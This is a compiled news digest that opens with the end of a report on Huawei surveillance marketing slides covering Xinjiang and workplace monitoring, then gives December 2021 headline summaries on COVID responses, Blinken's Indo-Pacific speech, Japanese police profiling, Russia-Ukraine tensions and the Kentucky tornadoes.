This surveillance system was touted as being able to help authorities track "political persons of interest" and other targets, including criminal suspects, by pinpointing the location of their electronic devices, tracking them with facial recognition surveillance cameras and other measures.

The marketing PowerPoint presentation titled "Huawei and PCI-Suntek Technology Video Cloud Big Data Joint Solution" also says that it can help identify new suspects by analyzing a range of surveillance data.

While these kinds of tracking systems are used by police around the world, there has been growing apprehension in the United States that the flaws of these technologies — such as higher incidence of mistaken identity among ethnic minorities — could result in wrongful prosecutions, especially with limited regulation.

The slide mentions "WiFi" and "MAC," which surveillance experts say is probably a reference to tracking a smartphone's location via a unique identifier called a MAC address. The addresses can be intercepted

over WiFi by [specialized devices](#) used by police. A woman who answered the investor relations line at PCI-Suntek said the company would not comment on media reports.

The presentation says the system is in use by the public security department of Guangdong, China's most populous province.

4. Xinjiang surveillance

[See full PDF and original document here](#)

The slides also detail how Huawei equipment was used in China's far west Xinjiang region.

The Xinjiang government's sweeping campaign against Uyghurs has drawn international denunciation, and Huawei has faced questions for years about whether its equipment was used in the crackdown. A Huawei executive [resigned](#) in response to a Washington Post report in 2020 about a "Uyghur alarm" the company tested that could send an alert to police when it identified a member of the ethnic minority native to the region.

Huawei executives have mostly deflected questions about how its products are used in Xinjiang, saying it did not supply the region directly. "That is not actually one of our projects," Huawei's global cybersecurity chief, John Suffolk, said, when asked by a British parliamentary committee in 2019 about Xinjiang surveillance systems using Huawei equipment. "It is done via a third party."

"We sell technology all around the world, but we don't operate it. We don't know how our customers choose to operate it," Alykhan Velshi, Huawei Canada's vice president of corporate affairs, [said last year](#), when asked by Canadian Broadcasting Corp. Radio about its surveillance technology sales in Xinjiang.

He added: "Certainly what's happening in Xinjiang causes me a great deal of concern, as it should cause everyone who is concerned about human rights abroad, but Huawei selling to customers who may sell to customers who may do something? That, to me, is a different issue entirely."

But Xinjiang surveillance projects are highlighted in several of the presentations, with the Huawei logo on each slide, though the slides do not mention the Uyghur ethnic minority. In one titled "One Person One File Solution High-Level Report," the company's technology is touted as having helped public security in Urumqi, capital of the Xinjiang region, capture a number of criminal suspects.

The presentation said the system had been in use in Urumqi since 2017, a time frame coinciding with the mass detentions of Uyghurs in Xinjiang.

This "One Person One File" facial recognition solution was co-developed by Huawei and DeepGlint, or Beijing Geling Shentong Information Technology, a start-up [sanctioned](#) by the Commerce Department in July for alleged human rights abuses in Xinjiang. DeepGlint declined to comment.

Other presentations said Huawei equipment was in use in surveillance camera systems in other Xinjiang cities, highways and detention centers.

5. Corporate monitoring

[See full PDF and original document here](#)

Not all of Huawei's surveillance products were made for government use. Some were also designed for corporate settings, including to catch employees slacking off or identify customers in retail stores.

This "Smart Service Center Joint Solution" co-developed by Huawei and Nanjing-based 4D Vector could map employees' movements and send an alert if they appear to be sleeping, absent from their desks or playing on their phones. The camera could also be trained onto customers, analyzing their demographic based on facial scans and counting how many times a person returns to the store. 4D Vector didn't respond to requests for comment.

“It identifies customers’ portraits as they walk by, such as gender, clothing, occupation, etc., and accurately delivers specific product introductions to different customers,” the presentation said.

Albert Fox Cahn, founder of the Surveillance Technology Oversight Project, a New York-based privacy advocacy group, said the features of Huawei’s workplace biometric tracking go beyond what he is aware of in the United States, though “this is something that organizers and labor movements are quite concerned about, in the future.”

Last year, Microsoft and Zoom removed functions from their software that tracked employee attentiveness and productivity, after public backlash. Amazon has [come under fire](#) for using AI-enabled cameras, wristbands and other devices to surveil its employees. (Amazon founder Jeff Bezos owns The Washington Post.)

In China, too, such corporate surveillance is becoming controversial. On World Consumer Rights Day in March, Chinese state media [denounced several foreign companies](#), including BMW and U.S. bathroom fixture brand Kohler, for tracking customers with facial recognition systems similar to the Huawei-4D Vector one.

In October, Huawei and other major Chinese tech companies made public pledges that they would not abuse facial recognition and other surveillance technologies.

[Return to Top](#)

HEADLINE	12/13 Russia backs down unpopular restrictions
SOURCE	https://abcnews.go.com/Health/wireStory/russia-backs-unpopular-covid-restrictions-81720388
GIST	<p>MOSCOW -- Russian authorities on Monday backed away from introducing some of the restrictions for the unvaccinated that were announced a month ago and elicited public outrage all across the vast country where vaccine uptake remains low.</p> <p>The speaker of the State Duma, Russia's lower parliament house, on Monday announced the withdrawal of a bill restricting access to domestic and international flights and trains to those who have been fully vaccinated, have recently recovered from COVID-19 or are medically exempt from vaccination.</p> <p>The bill, along with another outlining similar restrictions in many public places, had been expected to go through the first reading on Thursday, but speaker Vyacheslav Volodin cited “a joint decision by the State Duma and the government” to withdraw it from the parliament's agenda for now. The other bill is still going forward.</p> <p>“We need to be balanced when working out these decisions so that the opinion of the people is taken into account,” Volodin said.</p> <p>The two bills were introduced a month ago, as Russia was struggling with its deadliest and largest surge of COVID-19, which came amid low vaccination rates, lax public attitudes to taking precautions and few restrictions. Officials said the new measures would take effect in February 2022, but the suggested restrictions proved unpopular almost immediately after they were announced.</p> <p>Russians in different regions started staging protests against the restrictions and launching online petitions against them. Volodin's own post about the restrictions on the social messaging app Telegram received hundreds of thousands of comments opposing the new measures.</p> <p>Less than 50% of Russia's 146-million population has been fully vaccinated so far, even though Russia was among the first in the world to approve and roll out a coronavirus vaccine a year ago. Experts have cited deep-rooted vaccine hesitancy and the vaccine's rushed approval, as well as the government's confusing messages about the seriousness of the outbreak.</p>

It remains unclear whether the bill restricting plane and train travel for the unvaccinated will be re-introduced at a future date. Russia's Transport Ministry told the RBC news site that it would continue working on improving the bill.

The second bill that would allow regional authorities to bar those who can't provide proof of vaccination, proof of recent recovery from COVID-19 or medical exemption from immunization from many public places starting February is still expected to pass the first reading on Thursday.

Deputy Prime Minister Tatyana Golikova, who runs Russia's state coronavirus task force, said Monday that vaccine certificates will also be issued to Russians who received foreign vaccines or have been inoculated with Sputnik V, one of four domestically developed jabs currently on offer in Russia, in other countries.

To obtain them, however, Russians will have to test positive for coronavirus antibodies, and their vaccine certificates will only be valid for six months instead of a year. Golikova didn't offer an explanation for this.

Golikova also announced that a total 16 Russians out of 177 who have recently returned to the country from South Africa recently were confirmed to have been infected with omicron — the new variant of coronavirus about which much remains unknown at this point, including whether it is more contagious, whether it can make people more seriously ill and whether it can thwart COVID-19 vaccines.

The first two cases of omicron were reported by Russia just a week ago.

Russian authorities banned for all foreigners traveling from countries in southern Africa and Hong Kong and required all Russian nationals returning from South Africa or neighboring countries to quarantine for 14 days because of the omicron variant, which was first reported by scientists in South Africa.

In all, Russia's state coronavirus task force has reported more than 10 million confirmed coronavirus cases and 289,483 deaths. However, a report released Friday by the state statistics agency Rosstat, which uses broader criteria, put the overall number of virus-linked deaths between April 2020 and October 2021 to over 537,000 — almost twice the official toll.

[Return to Top](#)

HEADLINE	12/13 UK booster blitz against omicron
SOURCE	https://abcnews.go.com/Health/wireStory/long-queues-form-uk-starts-booster-blitz-omicron-81718499
GIST	<p>LONDON -- Long lines formed Monday at vaccination centers across England as people heeded the government's call for all adults to get booster shots to protect themselves against the omicron variant, and as the U.K. recorded its first death of a patient infected with omicron.</p> <p>In a televised announcement late Sunday, Prime Minister Boris Johnson said everyone 18 and up would be offered a third vaccine dose by Dec. 31 — less than three weeks away, and a month earlier than the previous target. Johnson said boosters would “reinforce our wall of vaccine protection” against an anticipated “tidal wave of omicron.”</p> <p>U.K. health authorities say omicron cases are doubling every two to three days in Britain, and that the variant will replace delta as the dominant coronavirus strain within days. Health Secretary Sajid Javid told lawmakers Monday that omicron will be dominant in London “within 48 hours.”</p> <p>While omicron is acknowledged to be much more transmissible than previous coronavirus variants, it's unclear both how virulent it is and whether the expected wave of infections will inundate the country's state-funded health care system</p> <p>Barely two weeks after it was identified in South Africa, 10 people are in British hospitals with omicron-related COVID-19. The British government raised the country's coronavirus threat level on Sunday,</p>

warning that the rapid spread of omicron “adds an additional and rapidly increasing risk to the public and health care services.”

Scientists in South Africa say the variant may cause less severe disease than the delta variant but caution that it's too soon to be certain. Health authorities around the world are watching Britain closely to see what an omicron surge looks like in a country with an older, more highly vaccinated population than South Africa's.

“The idea that this is somehow a milder version of the virus, I think that's something we need to set on one side and just recognize the sheer pace at which it accelerates through the population,” Johnson said as he visited a vaccination center in London. “So the best thing we can do is all get our boosters.”

The U.K. Health Security Agency says existing vaccines appear less effective in preventing symptomatic infections in people exposed to omicron, though that effectiveness appears to rise to between 70% and 75% after a third dose.

More than 80% of people age 12 and up in Britain have received two vaccine doses, and 40% of adults have had three. But the acceleration of the booster program will be a huge challenge, requiring almost 1 million doses given out each day — more than the previous high of around 850,000 a day. Some 750 soldiers and thousands of volunteer vaccinators will be drafted to give the shots at doctors' offices, hospitals, pharmacies and pop-up vaccination centers.

Many routine procedures will be postponed as Britain's National Health Service swings into high gear for the boosters.

While the online booster appointment system will not be open to under-30s until Wednesday, adults could — and did — show up at a walk-in centers to get a booster starting Monday.

At St. Thomas' Hospital, on the south bank of the River Thames in London, the lines of people waiting for booster shots stretched across Westminster Bridge toward Parliament. At the Gordon Hospital walk-in clinic in central London, most of those lining up were in their 20s and 30s.

Sam Collins, 30, said he was “not especially” worried about omicron, “but I'd just prefer to be triple vaxxed.”

“Also my partner has just had a baby and she's not vaccinated, so if I can be extra vaccinated, then that will help,” he said.

The government's appointment-booking website struggled to keep up with demand, and also ran out of rapid at-home virus test kits, which have been distributed free to households during the pandemic.

The British government's Dec. 31 booster target applies to England. The other parts of the U.K. — Scotland, Wales and Northern Ireland — are also expected to speed up their vaccination campaigns.

While omicron is spreading around the world, Britain may be especially affected because it ordinarily has high levels of travel to South Africa. The omicron outbreak is also more visible in Britain because U.K. is also a world leader in genomic sequencing, which identifies and tracks new variants.

Researchers in the U.K. have sequenced about 13.3% of all positive cases, compared with 3.8% in the U.S., according to GISAID, which promotes rapid sharing of data on COVID-19 and the flu. While Iceland and Denmark have sequenced a greater percentage of their positive cases, the size of the U.K.'s population and the scope of its outbreak mean that Britain has sequenced many more cases.

This surveillance provided key evidence that Johnson and his chief medical officers used in deciding to tighten pandemic restrictions and ramp up the U.K.'s vaccination program.

	<p>Johnson's Conservative government is requiring vaccine certificates to enter nightclubs and reintroducing restrictions that were lifted almost six months ago. Masks must be worn again in most indoor settings and as of Monday, people were urged to work from home if possible.</p> <p>Many scientists say those measures are unlikely to be enough and are calling for tougher ones. But cafes, pubs and shops in city centers fear that plummeting numbers of commuters will hammer their businesses in the usually busy pre-Christmas period.</p> <p>Johnson is facing a major rebellion from unhappy Conservative lawmakers when Parliament votes on the new virus restrictions. The measures are still highly likely to pass with support from the opposition Labour Party.</p> <p>Robert Read, a professor of infectious diseases at the University of Southampton, said it was still unclear how severe cases of COVID-19 from omicron are but "omicron probably requires much larger amounts of antibody in the blood in order to thwart the virus as much as possible."</p> <p>"We need to get those third doses into as many adults as we possibly can, just in case this virus turns out to be a raging bull rather than a pussy cat," Read told radio station LBC.</p>
	Return to Top

HEADLINE	12/14 SKorea deadliest day of pandemic
SOURCE	https://abcnews.go.com/Health/wireStory/korea-marks-deadliest-day-pandemic-hospital-buckle-81738079
GIST	<p>SEOUL, South Korea -- South Korea on Tuesday marked its deadliest day of the pandemic as an unrelenting, delta-driven spread stretched thin hospitals and left people dying while waiting for beds.</p> <p>Health experts warn that the country's medical system is quickly approaching its limits and that fatalities could worsen if the government continues to be slow and hesitant in tightening social distancing.</p> <p>The Korea Disease Control and Prevention Agency said 94 virus patients died in the past 24 hours while a record 906 were in serious or critical condition.</p> <p>The 5,567 new infections were the highest yet for a Tuesday — daily tallies are usually smaller at the start of the week because of fewer tests on weekends – indicating the virus has continued to gain speed after the government moderately tightened social distancing last week.</p> <p>Park Hyang, a senior Health Ministry official, said medical resources are quickly running out in densely populated capital Seoul and nearby metropolitan areas, where around 86% of intensive care units designated for COVID-19 treatment were already occupied. More than 1,480 patients were still waiting to be admitted to hospitals or treatment shelters. At least 17 patients died last week at home or at facilities while waiting for beds.</p> <p>Officials have been squeezing hospitals to set aside more beds for COVID-19 patients and scrambling to speed up the administration of booster shots by shortening the interval between second and third shots from four or five months to three months starting this week. As of Tuesday, more than 81% in a population of more than 51 million were fully vaccinated, but only 13% were administered booster shots.</p> <p>Officials may decide to further strengthen restrictions this week, depending on the numbers of infections and hospitalization, Park said during a briefing.</p> <p>Experts say South Korea's devastating surge underscores the risk of putting economic concerns before public health when the highly contagious delta variant has reduced the effectiveness of vaccines and most people are still waiting for their booster shots.</p> <p>The country reported around 6,000 new cases a day last week, including three consecutive days of over 7,000. That was three times the level of 2,000 at the start of November, when the government significantly</p>

eased social distancing rules in what officials described as the first step toward restoring pre-pandemic normalcy.

In allowing larger gatherings, longer indoor dining hours and fully reopening schools, officials had predicted that improving vaccination rates will suppress hospitalizations and deaths even if the virus continues to spread. But there has been a surge in hospital admissions among people in their 60s or older, who weren't fully vaccinated or whose immunities have waned after being inoculated during the earlier phase of the vaccine rollout, which began in February.

Even as infections grew this month, the government has been hesitant in reimposing stronger restrictions, citing public fatigue, and President Moon Jae-in had declared that the country will not "retreat to the past."

Officials waited until last week to modestly sharpen social distancing, banning private gatherings of seven or more people in the greater capital region and requiring adults to verify their vaccination status to use restaurants and other indoor venues.

Health experts have called for stronger curbs, such as work from home and expanding the government's financial support to small businesses to ensure compliance with social distancing.

"What we absolutely need now is an urgent standstill to allow our medical system to restore its ability to respond (to the virus)," a coalition of doctors' groups, including the Korean Society of Infectious Diseases, said in a statement on Monday. "We express deep concern that there will be a high possibility of serious fatalities if (the government) fails to employ stronger measures to reverse the crisis before it's too late."

[Return to Top](#)

HEADLINE	12/13 Year of vaccines: lives saved; many lost
SOURCE	https://abcnews.go.com/Technology/wireStory/year-vaccines-lives-saved-needlessly-lost-81728478
GIST	<p>One year ago, the biggest vaccination drive in American history began with a flush of excitement in an otherwise gloomy December. Trucks loaded with freezer-packed vials of a COVID-19 vaccine that had proved wildly successful in clinical trials fanned out across the land, bringing shots that many hoped would spell the end of the crisis.</p> <p>That hasn't happened. A year later, too many Americans remain unvaccinated and too many are dying.</p> <p>The nation's COVID-19 death toll stands at around 800,000 as the anniversary of the U.S. vaccine rollout arrives. A year ago it stood at 300,000. An untold number of lives, perhaps tens of thousands, have been saved by vaccination. But what might have been a time to celebrate a scientific achievement is fraught with discord and mourning.</p> <p>National Institutes of Health Director Francis Collins said scientists and health officials may have underestimated how the spread of misinformation could hobble the "astounding achievement" of the vaccines.</p> <p>"Deaths continue ... most of them unvaccinated, most of the unvaccinated because somebody somewhere fed them information that was categorically wrong and dangerous," Collins said.</p> <p>Developed and rolled out at blistering speed, the vaccines have proved incredibly safe and highly effective at preventing deaths and hospitalizations. Unvaccinated people have a 14 times higher risk of dying compared to fully vaccinated people, the Centers for Disease Control and Prevention estimated based on available data from September.</p> <p>Their effectiveness has held up for the most part, allowing schools to reopen, restaurants to welcome diners and families to gather for the holidays. At last count, 95% of Americans 65 and older had had at least one shot.</p>

“In terms of scientific, public health and logistical achievements, this is in the same category as putting a man on the moon,” said Dr. David Dowdy, an infectious-disease epidemiologist at Johns Hopkins Bloomberg School of Public Health.

The vaccines’ first year has been rocky with the disappointment of breakthrough infections, the political strife over mandates and, now, worries about whether the mutant omicron will evade protection.

Despite all that, Dowdy said, “we’re going to look back and say the vaccines were a huge success story.”

On the very day that an eager nation began rolling up its sleeves, Dec. 14, 2020, the U.S. death toll from COVID-19 hit 300,000. And deaths were running at an average of more than 2,500 a day and rising fast, worse than what the country witnessed during the harrowing spring of 2020, when New York City was the epicenter of the U.S. outbreak.

By late February total U.S. deaths had crossed 500,000, but the daily death count was plummeting from the horrible heights of early January. With hopes rising in early March, some states began reopening, lifting mask mandates and limits on indoor dining. Former President Donald Trump assured his supporters during a Fox News interview that the vaccine was safe and urged them to get it.

But by June, with the threat from COVID-19 seemingly fading, demand for vaccines had slipped and states and companies had turned to incentives to try to restore interest in vaccination.

It was too little, too late. Delta, a highly contagious mutated form of coronavirus, had silently arrived and had begun to spread quickly, finding plenty of unvaccinated victims.

“You have to be almost perfect almost all the time to beat this virus,” said Andrew Noymer, a public health professor at the University of California, Irvine. “The vaccine alone is not causing the pandemic to crash back to Earth.”

One of the great missed opportunities of the COVID-19 pandemic is the shunning of vaccination by many Americans.

This fall, Rachel McKibbens, 45, lost her father and brother to COVID-19. Both had refused the protection of vaccination because they believed false conspiracy theories that the shots contained poison.

“What an embarrassment of a tragedy,” McKibbens said. “It didn’t have to be this way.”

More than 228,500 Americans have died from COVID-19 since April 19, the date when all U.S. adults were eligible to be vaccinated. That’s about 29% of the count since the first U.S. coronavirus deaths were recorded in February 2020, according to an Associated Press analysis.

In all, two states — Florida and Texas — contributed more than 52,000 deaths since that date. Alaska, Hawaii, Oregon, Wyoming and Idaho also saw outsized death tolls after mid-April.

Red states were more likely than blue states to have greater than average death tolls since then.

“I see the U.S. as being in camps,” Noymer said. “The vaccines have become a litmus test for trust in government.”

Wyoming and West Virginia, the states with the highest vote percentages for Donald Trump in 2016, have recorded about 50% of their total COVID-19 deaths since all adults were declared eligible for the vaccine in those states. In Oklahoma, nearly 60% of COVID-19 deaths occurred after all adults were vaccine-eligible.

There are exceptions: Notably, Hawaii and Oregon are the only Joe Biden-supporting states where more than half of the COVID-19 deaths came after shots were thrown open to all adults. North Dakota and

South Dakota — both ardent Trump states — have kept their share of deaths after the vaccine became available across the board to under 25%.

California has seen more than 15,000 COVID-19 deaths since the state opened eligibility to all adults in mid-April. McKibbens' father and brother died in Santa Ana, California, in their shared home.

McKibbens pieced together what happened from text messages on her brother's phone. Some of the texts she read after his death, including back-and-forth messages with a cousin who cited TikTok as the source of bad advice.

"My brother did not seek medical attention for my dad," keeping him lying on his back, even as his breathing began to sound like a broken-down motor, said McKibbens, who lives across the country in Rochester, New York.

Her father, Pete Camacho, died Oct. 22 at age 67. McKibbens flew to California to help with arrangements.

Her brother was sick, too, but "he refused to let me into the house because he said I shed coronavirus because I was vaccinated," McKibbens recalled. "It was a strange new belief I had never heard before."

A friend found her brother's body after noticing food deliveries untouched on the porch. Peter Camacho, named for his father, died Nov. 8 at age 44.

"For me to have lost two-thirds of my family, it just levels you," McKibbens said.

Important advice came too late for some. Seven months pregnant and unvaccinated, Tamara Alves Rodriguez tested positive for the coronavirus Aug. 9. Two days later, with many pregnant women falling seriously ill, U.S. health officials strengthened their guidance to urge all mothers-to-be to get vaccinated.

Rodriguez had tried to get vaccinated weeks earlier but was told at a pharmacy she needed authorization from her doctor. "She never returned," said her sister, Tanya Alves of Weston, Florida.

Six days after testing positive, Rodriguez had to have a breathing tube inserted down her throat at a hospital near her home in San Juan, Puerto Rico. Her baby girl was delivered by emergency cesarean section Aug. 16.

The young mother never held her child. Rodriguez died Oct. 30 at age 24. She left behind her husband, two other children and an extended family.

"Her children ask for her constantly," Alves said. "I literally feel like a piece of me has been ripped out of me and even those words aren't enough to describe it."

She urges others to get vaccinated: "If you would know the terror of being hospitalized or having a loved one there ... if people would know, they would be afraid of this instead of fearing the vaccine."

[Return to Top](#)

HEADLINE	12/14 US to expand into Indo-Pacific region
SOURCE	https://abcnews.go.com/International/wireStory/blinken-vows-us-military-indo-pacific-81736980
GIST	<p>JAKARTA, Indonesia -- The United States will expand its military and economic relationships with partners in Asia to push back against China's increasing assertiveness in the Indo-Pacific, U.S. Secretary of State Antony Blinken said Tuesday.</p> <p>Blinken said the Biden administration is committed to maintaining peace and prosperity in the region and will do that by boosting U.S. alliances, forging new relationships and ensuring that the U.S. military maintains "its competitive edge."</p>

“Threats are evolving, our security approach has to evolve with them. To do that, we will lean on our greatest strength: our alliances and partnerships,” Blinken said in a speech in Indonesia, outlining the administration's Indo-Pacific plans.

“We’ll adopt a strategy that more closely weaves together all our instruments of national power — diplomacy, military, intelligence — with those of our allies and partners,” he said. That will include linking U.S. and Asian defense industries, integrating supply chains and cooperating on technological innovation, he said.

“It’s about reinforcing our strengths so we can keep the peace, as we have done in the region for decades,” he said. He did not elaborate further but the administration made waves earlier this year by agreeing to a pact that will see Australia produce nuclear-powered submarines.

Blinken insisted that the U.S. is not trying to force countries to choose between the United States and China or seeking conflict with China. But he laid out a litany of complaints about “Beijing's aggressive actions” from “Northeast Asia to Southeast Asia and from the Mekong River to the Pacific Islands.”

Blinken is in Indonesia on the first leg of a week-long, three-nation tour of Southeast Asia that will also take him to Malaysia and Thailand. Countering China’s growing aggressiveness in the region, particularly in the South China Sea, in Hong Kong and against Taiwan is prominent on his agenda.

“Countries across the region want this behavior to change,” he said. “We do too.”

“We are determined to ensure freedom of navigation in the South China Sea,” he said. “It is also why we have an abiding interest in peace and stability in the Taiwan Strait.”

Blinken said U.S. “will forge stronger connections” with its five treaty allies in the region — Australia, Japan, the Philippines, South Korea and Thailand — boost ties between them and cultivate a stronger partnership with the Association of Southeast Asian Nations, many of whose members feel threatened by China.

“A strong and independent ASEAN has long been central to tackle urgent crises and long-term challenges,” Blinken said, in particular calling out the military rulers of Myanmar, also known as Burma, for their February takeover and subsequent crackdown on protesters.

“We will continue to work with our allies and partners to press the regime to cease its indiscriminate violence, release all of those unjustly detained, allow unhindered access, and restore Burma’s path to inclusive democracy,” he said.

Blinken also lauded the administration's commitment to providing coronavirus vaccines to the countries of the Indo-Pacific and its support for their efforts to combat and deal with climate change.

Blinken confined his remarks to the Indo-Pacific and China although he began his current overseas journey in Britain at a Group of Seven foreign ministers meeting that delivered a stern warning to Russia over Ukraine.

On arriving in Indonesia on Monday, Blinken found that a top aide Russian President Vladimir Putin, national security adviser, Nikolay Patrushev, was already in Jakarta for security talks.

[Return to Top](#)

HEADLINE	12/13 US embassy: Japan police racial profiling
SOURCE	https://abcnews.go.com/International/us-embassy-tokyo-warns-foreigners-suspected-racial-profiling/story?id=81720091

GIST	<p>TOKYO -- Earlier this month, the U.S. Embassy in Tokyo warned foreigners of an increase in suspected racial profiling cases involving Japanese police.</p> <p>Non-Japanese people were being stopped and searched by the police, as well as being detained and interrogated under questionable circumstances, the embassy said. "U.S. citizens should carry proof of immigration and request consular notification if detained," read an alert it posted on Twitter and Facebook.</p> <p>ABC News has learned that the alert was based on multiple, credible reports of suspected racial profiling of foreigners, including American citizens.</p> <p>The Japanese government was quick to respond to the warning. The Kishida administration's top spokesman, Hirokazu Matsuno, denied the allegation against Japan's law enforcement, maintaining that police investigate people when they believe they have committed a crime or have exhibited suspicious behavior.</p> <p>"Investigations are based on law, not nationality," the spokesman said.</p> <p>Accounts of non-Japanese people being singled out by police for questioning and searching are widespread in Japan's foreign community. Suspects can be held for extended periods of time and many confess to charges, leading to the country's high conviction rates.</p> <p>"We have good reason to believe police officers frequently racially profile people of foreign origin," said Junko Hayashi, an attorney with Partners Law Office in Tokyo. "We need more solid data regarding this issue. Therefore, the Tokyo Bar Association will start a survey on police questioning of people with foreign roots."</p> <p>That survey is slated to start on Jan. 11.</p> <p>Suspects have rights under Japanese law, such as the right to remain silent and have legal counsel, but exercising those rights is a challenge, said Tokyo-based attorney Atsuko Nishiyama.</p> <p>"You have those rights, but I hesitate in advising people to exercise them. The reason being, when a police officer stops and searches you, they are supposed to do it only when they have grounds to suspect that a crime has been committed or will be committed," Nishiyama said. "If you actually refuse to cooperate with an officer, the police take your refusal in itself as suspicious making you a suspect. This is twisted logic."</p> <p>Nishiyama told ABC News that some foreigners who initially didn't cooperate with a search or questioning found the situation escalating -- and the number of police officers around them increasing. She noted that some foreigners in Japan feel obligated to cooperate because they are at risk of being kicked out of the country and losing their livelihood.</p> <p>"I think the way the police think is fundamentally wrong. Yet, the way that they think is considered normal and acceptable," Nishiyama said.</p>
Return to Top	

HEADLINE	12/13 Moscow: no NATO expansion to Ukraine
SOURCE	https://abcnews.go.com/International/wireStory/putin-urges-guarantees-ukraine-call-johnson-81734503
GIST	<p>MOSCOW -- Russian President Vladimir Putin on Monday told British Prime Minister Boris Johnson that Moscow will insist on Western guarantees precluding NATO's expansion to Ukraine.</p> <p>A recent Russian troop buildup near Ukraine has drawn Ukrainian and Western fears of an invasion, and U.S. President Joe Biden last week warned Putin of "severe consequences" if Moscow attacks its neighbor.</p>

Putin has denied plans of launching an attack, but prodded Western leaders to provide a legal pledge that NATO wouldn't expand to Ukraine.

In Monday's call with Johnson, Putin reaffirmed Moscow's concern about the "development of Ukraine's territory" by NATO's members, saying that it "poses a direct threat to Russia's security."

Russia has responded to the ouster of Ukraine's Moscow-friendly president by annexing the Ukrainian Crimean Peninsula in 2014 and throwing its support behind a separatist insurgency in the country's east. More than seven years of fighting has killed over 14,000 people and devastated Ukraine's industrial heartland called Donbas.

Moscow has bristled at NATO's joint drills with Ukrainian forces and warned that the alliance's expansion to Ukraine would represent a "red line" for Russia.

In Monday's call with Johnson, Putin emphasized the need to "immediately begin negotiations to work out clear international legal agreements that would exclude any further NATO's expansion eastward and the deployment of weapons threatening Russia in neighboring countries, primarily in Ukraine."

The Russian leader said that Russia will soon submit a draft document outlining the demands, according to the Kremlin.

Johnson followed Biden and other Western leaders in warning Moscow against attacking its neighbor.

Johnson's office said he "expressed the United Kingdom's deep concern over the build-up of Russian forces on Ukraine's border, and reiterated the importance of working through diplomatic channels to de-escalate tensions and identify durable solutions."

It noted that the British prime minister "emphasized the UK's commitment to Ukraine's territorial integrity and sovereignty, and warned that any destabilizing action would be a strategic mistake that would have significant consequences."

The readout added that Johnson "recognized the importance of dialogue on international and regional security."

[Return to Top](#)

HEADLINE	12/13 Emergency: Kentucky, Illinois, Tennessee
SOURCE	https://abcnews.go.com/US/deadly-tornadoes-south-midwest-dozens-dead-rescuers-search/story?id=81717988
GIST	<p>At least 88 people across five U.S. states have been confirmed dead after a swarm of tornadoes tore through communities in the South and the Midwest over the weekend.</p> <p>There were at least 44 tornadoes reported across nine states between Friday night and early Saturday morning -- unusual for December in the United States. Kentucky was the worst-hit state, with at least 74 confirmed fatalities, according to Kentucky Gov. Andy Beshear, who said that figure "is fluid" and "will change."</p> <p>"Undoubtedly, there will be more," Beshear told reporters.</p> <p>The governor, who has two relatives among the dead, fought back tears as he revealed the age range of the known victims. He said 18 bodies have yet to be identified.</p> <p>"Of the ones that we know, the age range is 5 months to 86 years old and six are younger than 18," he said.</p> <p>Beshear said that more than 44,300 people from across the nation have donated more than \$6 million to the state's relief fund: TeamWKYReliefFund.ky.gov.</p>

Kentucky's first lady, Britainy Beshear, announced that she is launching a Christmas toy drive on Tuesday to provide gifts to children who have been displaced by the devastation and "make this Christmas special for as many babies, kids and teens as possible who need our love and support more than ever."

Kentucky alone was hit by at least five tornadoes between Friday and Saturday, including one that stayed on the ground for some 200 miles, Michael Dorsett, the state emergency management director said Monday afternoon.

At least 18 counties in Kentucky reported lives lost, and 18 counties reported damages. As of Monday morning, some 30,000 homes in the southeastern state were still without power, according to Beshear.

"Thousands of homes are damaged, if not entirely destroyed," he said. "We're not going to let any of our folks go homeless."

Beshear acknowledged that it will take time to rebuild from what he described as the "worst tornado event" in Kentucky's history and doubted whether it would have been possible to be better prepared.

"I don't think anyone could have predicted something as devastating as this," he said. "I don't fault warning systems, I don't fault training."

He then posed the question: "How do you tell people that there's going to be one of the most powerful tornadoes in history and it's going to come directly through your building?"

At least 300 members of the Kentucky National Guard have been deployed across the state to help local authorities remove debris and search for [survivors](#) as well as victims, according to Beshear.

"There is significant debris removal going on right now, but there is just a mountain of waste. It is going to take a significant amount of time," he said. "We've got significant livestock dead in all of the areas -- there's ongoing cleanup with that, too."

In an interview with ABC News' David Muir on Sunday, the Kentucky governor said rescuers have pulled some survivors from the rubble.

"We are still hoping for miracles," Beshear added. "We are finding people and every single moment is incredible."

Speaking to reporters Monday afternoon, Beshear said more than 20 deaths were Kentucky's Graves County, where Mayfield is the county seat. Another 17 deaths were reported in Hopkins County, 11 in Muhlenberg County, 15 in Warren County, four in Caldwell County, one in Marshall County, one in Taylor County, one in Fulton County, one in Lyon County and one in Franklin County, according to the governor.

Beshear said the latest confirmed death was a government contractor whose vehicle was pushed off a road and crashed during the storm. He said there are about 109 people in Kentucky who are still unaccounted for, including 81 in Hopkins County and 22 in Warren County.

Among others killed were eight night-shift workers at a candle factory in Mayfield, a city of about 10,000 people in western Kentucky. There were 110 employees inside the Mayfield Consumer Products facility when a tornado closed in late Friday night, Mayfield Consumer Products CEO Troy Propes told ABC News.

"We feared much, much worse and, again, I pray that it's accurate," Beshear told reporters Monday morning, noting that "15-plus feet of wreckage," along with a lack of cellular service, made it difficult to determine how many individuals made it out of the destroyed facility alive.

Later Monday evening, Louisville Emergency Management Director E.J. Meiman said the factory's owners said they "verified that they have accounted for every occupant" that was present during the storm.

"We've also been meeting with all of our rescue experts that have been on the pile, and we have a high level of confidence there is nobody in this building," Meiman said.

He added that the figure of eight fatalities at the factory hasn't changed.

One of the survivors, Kyanna Parsons, recalled [hunkering down](#) at the candle factory with her co-workers when the tornado hit. She said she felt a gust of wind and her ears popped. The lights flickered before going out completely and the roof of the building suddenly collapsed, she said.

"Everybody just starts screaming," Parsons told ABC News during an interview Sunday.

"I definitely had the fear that I wasn't gonna make it," she added. "It's a miracle any of us got out of there."

Mayfield Mayor Kathy Stewart O'Nan said she was at the scene of the destroyed factory the following morning. She recalled seeing first responders from Louisville, Kentucky's largest city, more than 200 miles away, "who had already gotten there, who had got in their trucks as quick as they could and come to help us."

"The offers from all over the United States are overwhelming," O'Nan told ABC News' Robin Roberts during an interview Monday. "We are so blessed with the state and federal support."

The mayor said her city lost its sewage treatment plant and a water tower, in addition to many homes and businesses. Mayfield still has no power, natural gas nor flowing water, according to O'Nan.

"The immediate needs of our city people and our responders are being met with just wonderful donations," she said. "But our infrastructure is damaged so severely that getting that up and running is our absolute greatest priority at this time."

O'Nan, who lives about four blocks from the center of the city's downtown area, said she knew from watching the weather forecast on the news last week that this storm would be "different."

"This was not a storm that us Kentuckians like to go out on the porch and watch roll by," she said.

When the tornado touched down on Friday night, O'Nan said she took shelter in the basement of her home and waited there until she heard it pass overhead.

"That is a horrifying sound that I hope I never hear again," she said.

